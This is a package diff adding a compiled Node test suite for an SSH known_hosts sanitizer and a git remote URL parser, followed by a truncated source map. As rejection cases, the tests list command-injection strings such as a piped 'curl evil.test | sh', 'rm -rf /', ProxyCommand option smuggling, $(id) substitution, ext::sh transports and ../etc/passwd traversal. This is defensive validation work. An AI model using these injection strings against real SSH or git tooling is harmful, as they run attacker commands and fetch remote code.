@appforge-ci/core 0.2.3 → 0.3.1

package/dist/vpn-ssh.test.js

@@ -0,0 +1,274 @@
+import { test } from "node:test";
+import assert from "node:assert/strict";
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { diffFingerprints, isPlausibleSshPrivateKey, isSshGitRemote, knownHostsFingerprints, looksLikeSshGitRemote, MAX_KNOWN_HOSTS_LINES, parseGitRemote, sanitizeKnownHosts, sshKeyFingerprint, validateKnownHostsInput, } from "./vpn-ssh.js";
+const ED = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK91pDfs6YOw64Pk/1OQrblxsDl0obAVDxwCRQdDWeVM";
+const ECDSA = "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBvuulkZYdqW+h/n3m7I39sGrSATHP+KNj8oDXKvXuio3bne5GoiF6ePP8jCxnH/fhJ3rMy4Sidwg3aYllX4110=";
+test("sanitizeKnownHosts accepts host-key and cert-authority lines, drops comments, blanks and duplicates", () => {
+    const r = sanitizeKnownHosts([
+        "# ssh-keyscan -t ed25519 git.corp.test",
+        "",
+        "   ",
+        `git.corp.test ${ED}`,
+        `[git.corp.test]:2222,10.20.0.5 ${ED} root@host`,
+        `git.corp.test ${ED}`,
+        `@cert-authority *.corp.test ${ED}`,
+        `|1|c2FsdHNhbHRzYWx0c2FsdA==|aGFzaGhhc2hoYXNoaGFzaA== ${ED}`,
+        `git2.corp.test ${ECDSA}`,
+    ]);
+    assert.equal(r.lines.length, 5);
+    assert.deepEqual(r.rejected, []);
+    assert.equal(r.lines[0], `git.corp.test ${ED}`);
+});
+test("sanitizeKnownHosts refuses anything that is not exactly one host-key line, without echoing it", () => {
+    const r = sanitizeKnownHosts([
+        "-----BEGIN OPENSSH PRIVATE KEY-----",
+        `@revoked git.corp.test ${ED}`,
+        `command="rm -rf /" git.corp.test ${ED}`,
+        "git.corp.test ssh-dss AAAAB3NzaC1kc3MAAACBAP",
+        `git.corp.test ${ED}\nsecond line smuggled`,
+        `git.corp.test ${ED} ` + "x".repeat(3000),
+        "git.corp.test",
+        `git.corp.test  ${ED}`, // two spaces
+        `git.corp.test\t${ED}`, // tab
+        `git.corp.test ${ED} comment\u0000with-nul`,
+        `git.corp.test ${ED} comment\u2028with-separator`,
+        42,
+        null,
+    ]);
+    assert.deepEqual(r.lines, []);
+    assert.deepEqual(r.rejected, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]);
+});
+test("sanitizeKnownHosts requires the key blob to really be of the stated type", () => {
+    const mismatched = "ssh-ed25519 " + ECDSA.split(" ")[1];
+    const garbage = "ssh-ed25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+    const notBase64Length = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK91pDfs6YOw64Pk/1OQrblxsDl0obAVDxwCRQdDWeV";
+    const r = sanitizeKnownHosts([`h ${mismatched}`, `h ${garbage}`, `h ${notBase64Length}`, `h ${ED}`]);
+    assert.deepEqual(r.lines, [`h ${ED}`]);
+    assert.deepEqual(r.rejected, [1, 2, 3]);
+});
+test("sanitizeKnownHosts caps the number of lines and rejects (not truncates) the rest", () => {
+    const many = Array.from({ length: 100 }, (_, i) => `h${i}.corp.test ${ED}`);
+    const r = sanitizeKnownHosts(many);
+    assert.equal(r.lines.length, MAX_KNOWN_HOSTS_LINES);
+    assert.equal(r.rejected.length, 36);
+    assert.equal(r.rejected[0], 65);
+});
+test("isPlausibleSshPrivateKey: a PEM/OpenSSH private-key block of sane size, nothing else", () => {
+    const body = "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQ";
+    assert.equal(isPlausibleSshPrivateKey(`-----BEGIN OPENSSH PRIVATE KEY-----\n${body}\n-----END OPENSSH PRIVATE KEY-----\n`), true);
+    assert.equal(isPlausibleSshPrivateKey(`-----BEGIN RSA PRIVATE KEY-----\r\n${body}\r\n-----END RSA PRIVATE KEY-----`), true);
+    for (const bad of [
+        "",
+        ED, // a PUBLIC key
+        "-----BEGIN CERTIFICATE-----\nAAAA\n-----END CERTIFICATE-----\n",
+        `-----BEGIN OPENSSH PRIVATE KEY-----\n${body}\u0000\n-----END OPENSSH PRIVATE KEY-----\n`,
+        `-----BEGIN OPENSSH PRIVATE KEY-----\n${"A".repeat(20000)}\n-----END OPENSSH PRIVATE KEY-----\n`,
+        `-----BEGIN OPENSSH PRIVATE KEY-----\n${body}\n`,
+        `x-----BEGIN OPENSSH PRIVATE KEY-----\n${body}\n-----END OPENSSH PRIVATE KEY-----\n`,
+        42,
+        null,
+        undefined,
+    ]) {
+        assert.equal(isPlausibleSshPrivateKey(bad), false, String(bad).slice(0, 40));
+    }
+});
+// ---------------------------------------------------------------------------
+// PR-G: catch-all patterns, the strict front door, fingerprints, git remotes
+// ---------------------------------------------------------------------------
+test("sanitizeKnownHosts refuses catch-all and negation-only host patterns, on host-key and cert-authority lines alike", () => {
+    const bad = [
+        "*",
+        "?",
+        "*.*",
+        "**",
+        "*?*",
+        "[*]:22",
+        "[*]:2222,[?]:22",
+        "*:2222",
+        "*]:2222",
+        "?:22",
+        "*.*:2222",
+        "[*:2222",
+        "*:22:2222",
+        "!git.corp.test",
+        "!a.corp.test,!b.corp.test",
+        "git.corp.test,",
+        ",git.corp.test",
+        "git.corp.test,,b.corp.test",
+        "!",
+        Array.from({ length: 17 }, (_, i) => `h${i}.corp.test`).join(","),
+    ];
+    for (const hosts of bad) {
+        assert.deepEqual(sanitizeKnownHosts([`${hosts} ${ED}`]).lines, [], `plain: ${hosts}`);
+        assert.deepEqual(sanitizeKnownHosts([`@cert-authority ${hosts} ${ED}`]).lines, [], `ca: ${hosts}`);
+    }
+    const good = ["*.corp.test", "git.corp.test,!bad.corp.test", "[git.corp.test]:2222", "git.corp.test:2222", "*.corp.test:2222", "10.20.0.5", "git?.corp.test", "*.corp.test,!gw.corp.test"];
+    for (const hosts of good)
+        assert.equal(sanitizeKnownHosts([`${hosts} ${ED}`]).lines.length, 1, hosts);
+    assert.equal(sanitizeKnownHosts([`@cert-authority *.corp.test ${ED}`]).lines.length, 1);
+});
+test("sanitizeKnownHosts: injection attempts through every field are refused", () => {
+    const attempts = [
+        `git.corp.test ${ED}; curl evil.test | sh`,
+        `git.corp.test ${ED}\n@cert-authority * ${ED}`,
+        `git.corp.test ${ED}\r\ngit2.corp.test ${ED}`,
+        `command="id" ${ED}`,
+        `no-pty,command="id" git.corp.test ${ED}`,
+        `cert-authority git.corp.test ${ED}`, // missing @
+        `@cert-authority,@revoked git.corp.test ${ED}`,
+        `@CERT-AUTHORITY git.corp.test ${ED}`,
+        `git.corp.test ${ED.replace("ssh-ed25519", "ssh-ed25519 -oProxyCommand=id")}`,
+        `$(id).corp.test ${ED}`,
+        `git.corp.test\`id\` ${ED}`,
+        `git.corp.test"${ED}`,
+        `'git.corp.test' ${ED}`,
+        `git.corp.test ${ED} comment\x07bell`,
+        `git.corp.test ${ED} comment\x1b[31mred`,
+        `git.corp.test ${ED} comment\x7f`,
+        `git.corp.test\x0b${ED}`, // a control character as the separator
+        `git.corp.test ${ED} ${"c".repeat(201)}`, // comment over the cap
+        `${"a".repeat(2100)} ${ED}`,
+    ];
+    const r = sanitizeKnownHosts(attempts);
+    assert.deepEqual(r.lines, []);
+    assert.equal(r.rejected.length, attempts.length);
+    // Surrounding whitespace is trimmed (the stored line is the clean one), never carried into the file.
+    assert.deepEqual(sanitizeKnownHosts([`\x0b git.corp.test ${ED} \t`]).lines, [`git.corp.test ${ED}`]);
+});
+test("validateKnownHostsInput is all-or-nothing, counts lines, and never echoes a refused line", () => {
+    const ok = validateKnownHostsInput(["# c", `git.corp.test ${ED}`, ""]);
+    assert.deepEqual(ok, { ok: true, lines: [`git.corp.test ${ED}`], errors: [] });
+    assert.deepEqual(validateKnownHostsInput([]), { ok: true, lines: [], errors: [] });
+    const secret = "-----BEGIN OPENSSH PRIVATE KEY-----";
+    const bad = validateKnownHostsInput([`git.corp.test ${ED}`, secret, "*" + ` ${ED}`]);
+    assert.equal(bad.ok, false);
+    assert.deepEqual(bad.lines, []);
+    assert.equal(bad.errors.length, 2);
+    assert.match(bad.errors[0], /^line 2 /);
+    assert.match(bad.errors[1], /^line 3 /);
+    assert.equal(JSON.stringify(bad).includes("PRIVATE"), false);
+    for (const notList of ["text", 7, null, undefined, {}, { length: 1 }])
+        assert.equal(validateKnownHostsInput(notList).ok, false);
+    assert.equal(validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES * 4 + 1 }, () => "x")).ok, false);
+    // More than the line cap of GOOD lines is refused, not truncated.
+    const many = validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES + 1 }, (_, i) => `h${i}.corp.test ${ED}`));
+    assert.equal(many.ok, false);
+    assert.equal(many.errors.length, 1);
+    // Lots of bad lines: a bounded error list.
+    const lots = validateKnownHostsInput(Array.from({ length: 100 }, () => "junk"));
+    assert.equal(lots.errors.length, 21);
+    assert.match(lots.errors[20], /80 more/);
+});
+test("fingerprints are SHA256 of the key blob and equal what ssh-keygen -l prints", async () => {
+    const fp = await sshKeyFingerprint(ED.split(" ")[1]);
+    assert.match(fp, /^SHA256:[A-Za-z0-9+/]{43}$/);
+    const entries = await knownHostsFingerprints([`git.corp.test,10.20.0.5 ${ED}`, `@cert-authority *.corp.test ${ECDSA} ca`, "garbage line"]);
+    assert.deepEqual(entries, [
+        { hosts: "git.corp.test,10.20.0.5", keyType: "ssh-ed25519", fingerprint: fp, certAuthority: false },
+        { hosts: "*.corp.test", keyType: "ecdsa-sha2-nistp256", fingerprint: await sshKeyFingerprint(ECDSA.split(" ")[1]), certAuthority: true },
+    ]);
+    const haveKeygen = ["/usr/bin", "/usr/local/bin", "/opt/homebrew/bin"].some((d) => existsSync(join(d, "ssh-keygen")));
+    if (!haveKeygen)
+        return;
+    const dir = mkdtempSync(join(tmpdir(), "afkh-"));
+    try {
+        const file = join(dir, "known_hosts");
+        writeFileSync(file, `git.corp.test ${ED}\ngit2.corp.test ${ECDSA}\n`);
+        const out = execFileSync("ssh-keygen", ["-l", "-f", file], { encoding: "utf8" });
+        assert.ok(out.includes(fp), out);
+        assert.ok(out.includes(await sshKeyFingerprint(ECDSA.split(" ")[1])), out);
+    }
+    finally {
+        rmSync(dir, { recursive: true, force: true });
+    }
+});
+test("diffFingerprints reports added and removed fingerprints only", () => {
+    const e = (fingerprint) => ({ hosts: "h", keyType: "ssh-ed25519", fingerprint, certAuthority: false });
+    assert.deepEqual(diffFingerprints([e("SHA256:a"), e("SHA256:b")], [e("SHA256:b"), e("SHA256:c")]), { added: ["SHA256:c"], removed: ["SHA256:a"] });
+    assert.deepEqual(diffFingerprints([], []), { added: [], removed: [] });
+});
+test("parseGitRemote: https is unchanged, ssh:// and scp-like need a user and a plain host", () => {
+    assert.deepEqual(parseGitRemote("https://github.com/org/repo.git")?.kind, "https");
+    assert.deepEqual(parseGitRemote("ssh://git@git.corp.test/org/repo.git"), { kind: "ssh", form: "url", user: "git", host: "git.corp.test", port: null, path: "/org/repo.git" });
+    assert.deepEqual(parseGitRemote("ssh://git@10.20.0.5:2222/srv/git/repo.git"), { kind: "ssh", form: "url", user: "git", host: "10.20.0.5", port: 2222, path: "/srv/git/repo.git" });
+    assert.deepEqual(parseGitRemote("git@git.corp.test:org/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "org/repo.git" });
+    assert.deepEqual(parseGitRemote("git@git.corp.test:/srv/git/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "/srv/git/repo.git" });
+    assert.equal(isSshGitRemote("git@git.corp.test:org/repo.git"), true);
+    assert.equal(isSshGitRemote("https://github.com/org/repo.git"), false);
+});
+test("parseGitRemote refuses everything that could be read as an option, a command or another transport", () => {
+    const bad = [
+        "ssh://git.corp.test/org/repo.git", // no user: ssh would use the Mac's own account name
+        "ssh://@git.corp.test/org/repo.git",
+        "ssh://git:secret@git.corp.test/org/repo.git",
+        "ssh://git@-oProxyCommand=id/org/repo.git",
+        "ssh://-oProxyCommand=id@git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test:0/org/repo.git",
+        "ssh://git@git.corp.test:65536/org/repo.git",
+        "ssh://git@git.corp.test:99999999/org/repo.git",
+        "ssh://git@[fe80::1]/org/repo.git",
+        "ssh://git@[::1]:22/org/repo.git",
+        "ssh://git@git.corp.test/../etc/passwd",
+        "ssh://git@git.corp.test/org/../repo.git",
+        "ssh://git@git.corp.test/",
+        "ssh://git@git.corp.test",
+        "ssh://git@git.corp.test/org/repo.git?x=1",
+        "ssh://git@git.corp.test/org/repo.git#frag",
+        "ssh://git@git.corp.test/org/repo.git ",
+        "ssh://git@git.corp.test/org/re po.git",
+        "ssh://git@git.corp.test/org/repo.git;id",
+        "ssh://git@git.corp.test/org/$(id)",
+        "ssh://git@git.corp.test/org/`id`",
+        "ssh://git@git.corp.test/org/repo%0a.git",
+        "ssh://git@git.corp.test/-oProxyCommand=id",
+        "ssh://git@git.corp.test/org/repo.git\nnext",
+        "ssh://git@git%2ecorp.test/org/repo.git",
+        "ssh://git@git_corp.test/org/repo.git",
+        "ssh://git@.git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test./org/repo.git",
+        "git.corp.test:org/repo.git", // scp-like without a user
+        "@git.corp.test:org/repo.git",
+        "-oProxyCommand=id@git.corp.test:org/repo.git",
+        "git@-oProxyCommand=id:org/repo.git",
+        "git@git.corp.test:-oProxyCommand=id",
+        "git@git.corp.test:../etc/passwd",
+        "git@git.corp.test:org/../repo.git",
+        "git@git.corp.test:",
+        "git@[::1]:org/repo.git",
+        "git@git.corp.test:org/repo.git;id",
+        "git@git.corp.test:org/repo git",
+        "git@git.corp.test:org/$(id)",
+        "git@git.corp.test:org/repo.git\n",
+        "ext::sh -c id",
+        "ext::sh -c 'id' git@x:y",
+        "git://git.corp.test/org/repo.git",
+        "http://git.corp.test/org/repo.git",
+        "file:///etc",
+        "file://git@host/etc",
+        "/local/path/repo.git",
+        "C:/repos/x",
+        "javascript:alert(1)",
+        "git+ssh://git@git.corp.test/org/repo.git",
+        "ssh+git://git@git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test:22:22/org/repo.git",
+        "",
+        " ",
+        "x".repeat(2000),
+        `ssh://git@git.corp.test/${"a".repeat(600)}`,
+    ];
+    for (const url of bad)
+        assert.equal(parseGitRemote(url)?.kind === "ssh", false, url.slice(0, 80));
+    assert.equal(parseGitRemote(undefined), null);
+    assert.equal(parseGitRemote(42), null);
+});
+test("looksLikeSshGitRemote flags ssh-shaped input (valid or not) and leaves https, other schemes and local paths alone", () => {
+    for (const v of ["ssh://git@h/p", "ssh://", "git@h:p", "h:p", "user@h:/p", "ext::sh -c id", "javascript:alert(1)", "-oProxyCommand=id@h:p"])
+        assert.equal(looksLikeSshGitRemote(v), true, v);
+    for (const v of ["https://github.com/o/r", "http://h/p", "git://h/p", "file:///x", "/local/path", "./rel/path", "C:\\repos\\x", "C:/repos/x", "", 5, null])
+        assert.equal(looksLikeSshGitRemote(v), false, String(v));
+});
+//# sourceMappingURL=vpn-ssh.test.js.map

package/dist/vpn-ssh.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"vpn-ssh.test.js","sourceRoot":"","sources":["../src/vpn-ssh.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAClD,OAAO,EAAE,UAAU,EAAE,WAAW,EAAE,MAAM,EAAE,aAAa,EAAE,MAAM,SAAS,CAAC;AACzE,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACjC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EACL,gBAAgB,EAChB,wBAAwB,EACxB,cAAc,EACd,sBAAsB,EACtB,qBAAqB,EACrB,qBAAqB,EACrB,cAAc,EACd,kBAAkB,EAClB,iBAAiB,EACjB,uBAAuB,GACxB,MAAM,cAAc,CAAC;AAEtB,MAAM,EAAE,GAAG,kFAAkF,CAAC;AAC9F,MAAM,KAAK,GAAG,kKAAkK,CAAC;AAEjL,IAAI,CAAC,qGAAqG,EAAE,GAAG,EAAE;IAC/G,MAAM,CAAC,GAAG,kBAAkB,CAAC;QAC3B,wCAAwC;QACxC,EAAE;QACF,KAAK;QACL,iBAAiB,EAAE,EAAE;QACrB,kCAAkC,EAAE,YAAY;QAChD,iBAAiB,EAAE,EAAE;QACrB,+BAA+B,EAAE,EAAE;QACnC,wDAAwD,EAAE,EAAE;QAC5D,kBAAkB,KAAK,EAAE;KAC1B,CAAC,CAAC;IACH,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;IAChC,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,QAAQ,EAAE,EAAE,CAAC,CAAC;IACjC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,iBAAiB,EAAE,EAAE,CAAC,CAAC;AAClD,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,+FAA+F,EAAE,GAAG,EAAE;IACzG,MAAM,CAAC,GAAG,kBAAkB,CAAC;QAC3B,qCAAqC;QACrC,0BAA0B,EAAE,EAAE;QAC9B,oCAAoC,EAAE,EAAE;QACxC,8CAA8C;QAC9C,iBAAiB,EAAE,wBAAwB;QAC3C,iBAAiB,EAAE,GAAG,GAAG,GAAG,CAAC,MAAM,CAAC,IAAI,CAAC;QACzC,eAAe;QACf,kBAAkB,EAAE,EAAE,EAAE,aAAa;QACrC,kBAAkB,EAAE,EAAE,EAAE,MAAM;QAC9B,iBAAiB,EAAE,wBAAwB;QAC3C,iBAAiB,EAAE,8BAA8B;QACjD,EAAE;QACF,IAAI;KACL,CAAC,CAAC;IACH,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAC9B,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;AAC5E,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,0EAA0E,EAAE,GAAG,EAAE;IACpF,MAAM,UAAU,GAAG,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;IACxD,MAAM,OAAO,GAAG,kDAAkD,CAAC;IACnE,MAAM,eAAe,GAAG,iFAAiF,CAAC;IAC1G,MAAM,CAAC,GAAG,kBAAkB,CAAC,CAAC,KAAK,UAAU,EAAE,EAAE,KAAK,OAAO,EAAE,EAAE,KAAK,eAAe,EAAE,EAAE,KAAK,EAAE,EAAE,CAAC,CAAC,CAAC;IACrG,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,KAAK,EAAE,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,CAAC;IACvC,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,QAAQ,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAC1C,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,kFAAkF,EAAE,GAAG,EAAE;IAC5F,MAAM,IAAI,GAAG,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,cAAc,EAAE,EAAE,CAAC,CAAC;IAC5E,MAAM,CAAC,GAAG,kBAAkB,CAAC,IAAI,CAAC,CAAC;IACnC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,KAAK,CAAC,MAAM,EAAE,qBAAqB,CAAC,CAAC;IACpD,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;IACpC,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;AAClC,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,sFAAsF,EAAE,GAAG,EAAE;IAChG,MAAM,IAAI,GAAG,gFAAgF,CAAC;IAC9F,MAAM,CAAC,KAAK,CAAC,wBAAwB,CAAC,wCAAwC,IAAI,uCAAuC,CAAC,EAAE,IAAI,CAAC,CAAC;IAClI,MAAM,CAAC,KAAK,CAAC,wBAAwB,CAAC,sCAAsC,IAAI,mCAAmC,CAAC,EAAE,IAAI,CAAC,CAAC;IAC5H,KAAK,MAAM,GAAG,IAAI;QAChB,EAAE;QACF,EAAE,EAAE,eAAe;QACnB,gEAAgE;QAChE,wCAAwC,IAAI,6CAA6C;QACzF,wCAAwC,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,uCAAuC;QAChG,wCAAwC,IAAI,IAAI;QAChD,yCAAyC,IAAI,uCAAuC;QACpF,EAAE;QACF,IAAI;QACJ,SAAS;KACV,EAAE,CAAC;QACF,MAAM,CAAC,KAAK,CAAC,wBAAwB,CAAC,GAAG,CAAC,EAAE,KAAK,EAAE,MAAM,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC;IAC/E,CAAC;AACH,CAAC,CAAC,CAAC;AAEH,8EAA8E;AAC9E,6EAA6E;AAC7E,8EAA8E;AAE9E,IAAI,CAAC,kHAAkH,EAAE,GAAG,EAAE;IAC5H,MAAM,GAAG,GAAG;QACV,GAAG;QACH,GAAG;QACH,KAAK;QACL,IAAI;QACJ,KAAK;QACL,QAAQ;QACR,iBAAiB;QACjB,QAAQ;QACR,SAAS;QACT,MAAM;QACN,UAAU;QACV,SAAS;QACT,WAAW;QACX,gBAAgB;QAChB,2BAA2B;QAC3B,gBAAgB;QAChB,gBAAgB;QAChB,4BAA4B;QAC5B,GAAG;QACH,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC;KAClE,CAAC;IACF,KAAK,MAAM,KAAK,IAAI,GAAG,EAAE,CAAC;QACxB,MAAM,CAAC,SAAS,CAAC,kBAAkB,CAAC,CAAC,GAAG,KAAK,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,EAAE,EAAE,EAAE,UAAU,KAAK,EAAE,CAAC,CAAC;QACtF,MAAM,CAAC,SAAS,CAAC,kBAAkB,CAAC,CAAC,mBAAmB,KAAK,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,EAAE,EAAE,EAAE,OAAO,KAAK,EAAE,CAAC,CAAC;IACrG,CAAC;IACD,MAAM,IAAI,GAAG,CAAC,aAAa,EAAE,8BAA8B,EAAE,sBAAsB,EAAE,oBAAoB,EAAE,kBAAkB,EAAE,WAAW,EAAE,gBAAgB,EAAE,2BAA2B,CAAC,CAAC;IAC3L,KAAK,MAAM,KAAK,IAAI,IAAI;QAAE,MAAM,CAAC,KAAK,CAAC,kBAAkB,CAAC,CAAC,GAAG,KAAK,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,KAAK,CAAC,CAAC;IACtG,MAAM,CAAC,KAAK,CAAC,kBAAkB,CAAC,CAAC,+BAA+B,EAAE,EAAE,CAAC,CAAC,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;AAC1F,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,wEAAwE,EAAE,GAAG,EAAE;IAClF,MAAM,QAAQ,GAAG;QACf,iBAAiB,EAAE,uBAAuB;QAC1C,iBAAiB,EAAE,uBAAuB,EAAE,EAAE;QAC9C,iBAAiB,EAAE,sBAAsB,EAAE,EAAE;QAC7C,gBAAgB,EAAE,EAAE;QACpB,qCAAqC,EAAE,EAAE;QACzC,gCAAgC,EAAE,EAAE,EAAE,YAAY;QAClD,0CAA0C,EAAE,EAAE;QAC9C,iCAAiC,EAAE,EAAE;QACrC,iBAAiB,EAAE,CAAC,OAAO,CAAC,aAAa,EAAE,+BAA+B,CAAC,EAAE;QAC7E,mBAAmB,EAAE,EAAE;QACvB,uBAAuB,EAAE,EAAE;QAC3B,iBAAiB,EAAE,EAAE;QACrB,mBAAmB,EAAE,EAAE;QACvB,iBAAiB,EAAE,kBAAkB;QACrC,iBAAiB,EAAE,qBAAqB;QACxC,iBAAiB,EAAE,cAAc;QACjC,oBAAoB,EAAE,EAAE,EAAE,uCAAuC;QACjE,iBAAiB,EAAE,IAAI,GAAG,CAAC,MAAM,CAAC,GAAG,CAAC,EAAE,EAAE,uBAAuB;QACjE,GAAG,GAAG,CAAC,MAAM,CAAC,IAAI,CAAC,IAAI,EAAE,EAAE;KAC5B,CAAC;IACF,MAAM,CAAC,GAAG,kBAAkB,CAAC,QAAQ,CAAC,CAAC;IACvC,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAC9B,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,QAAQ,CAAC,MAAM,EAAE,QAAQ,CAAC,MAAM,CAAC,CAAC;IACjD,qGAAqG;IACrG,MAAM,CAAC,SAAS,CAAC,kBAAkB,CAAC,CAAC,sBAAsB,EAAE,KAAK,CAAC,CAAC,CAAC,KAAK,EAAE,CAAC,iBAAiB,EAAE,EAAE,CAAC,CAAC,CAAC;AACvG,CAAC,CAAC,CAAC;AAEH,IAAI,CAAC,0FAA0F,EAAE,GAAG,EAAE;IACpG,MAAM,EAAE,GAAG,uBAAuB,CAAC,CAAC,KAAK,EAAE,iBAAiB,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;IACvE,MAAM,CAAC,SAAS,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,iBAAiB,EAAE,EAAE,CAAC,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC,CAAC;IAC/E,MAAM,CAAC,SAAS,CAAC,uBAAuB,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,EAAE,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC,CAAC;IACnF,MAAM,MAAM,GAAG,qCAAqC,CAAC;IACrD,MAAM,GAAG,GAAG,uBAAuB,CAAC,CAAC,iBAAiB,EAAE,EAAE,EAAE,MAAM,EAAE,GAAG,GAAG,IAAI,EAAE,EAAE,CAAC,CAAC,CAAC;IACrF,MAAM,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,EAAE,KAAK,CAAC,CAAC;IAC5B,MAAM,CAAC,SAAS,CAAC,GAAG,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAChC,MAAM,CAAC,KAAK,CAAC,GAAG,CAAC,MAAM,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;IACnC,MAAM,CAAC,KAAK,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC,CAAE,EAAE,UAAU,CAAC,CAAC;IACzC,MAAM,CAAC,KAAK,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC,CAAE,EAAE,UAAU,CAAC,CAAC;IACzC,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC,QAAQ,CAAC,SAAS,CAAC,EAAE,KAAK,CAAC,CAAC;IAC7D,KAAK,MAAM,OAAO,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,IAAI,EAAE,SAAS,EAAE,EAAE,EAAE,EAAE,MAAM,EAAE,CAAC,EAAE,CAAC;QAAE,MAAM,CAAC,KAAK,CAAC,uBAAuB,CAAC,OAAO,CAAC,CAAC,EAAE,EAAE,KAAK,CAAC,CAAC;IAChI,MAAM,CAAC,KAAK,CAAC,uBAAuB,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,qBAAqB,GAAG,CAAC,GAAG,CAAC,EAAE,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,KAAK,CAAC,CAAC;IAClH,kEAAkE;IAClE,MAAM,IAAI,GAAG,uBAAuB,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,qBAAqB,GAAG,CAAC,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,IAAI,CAAC,cAAc,EAAE,EAAE,CAAC,CAAC,CAAC;IAC3H,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,EAAE,KAAK,CAAC,CAAC;IAC7B,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,CAAC,MAAM,EAAE,CAAC,CAAC,CAAC;IACpC,2CAA2C;IAC3C,MAAM,IAAI,GAAG,uBAAuB,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,EAAE,GAAG,EAAE,CAAC,MAAM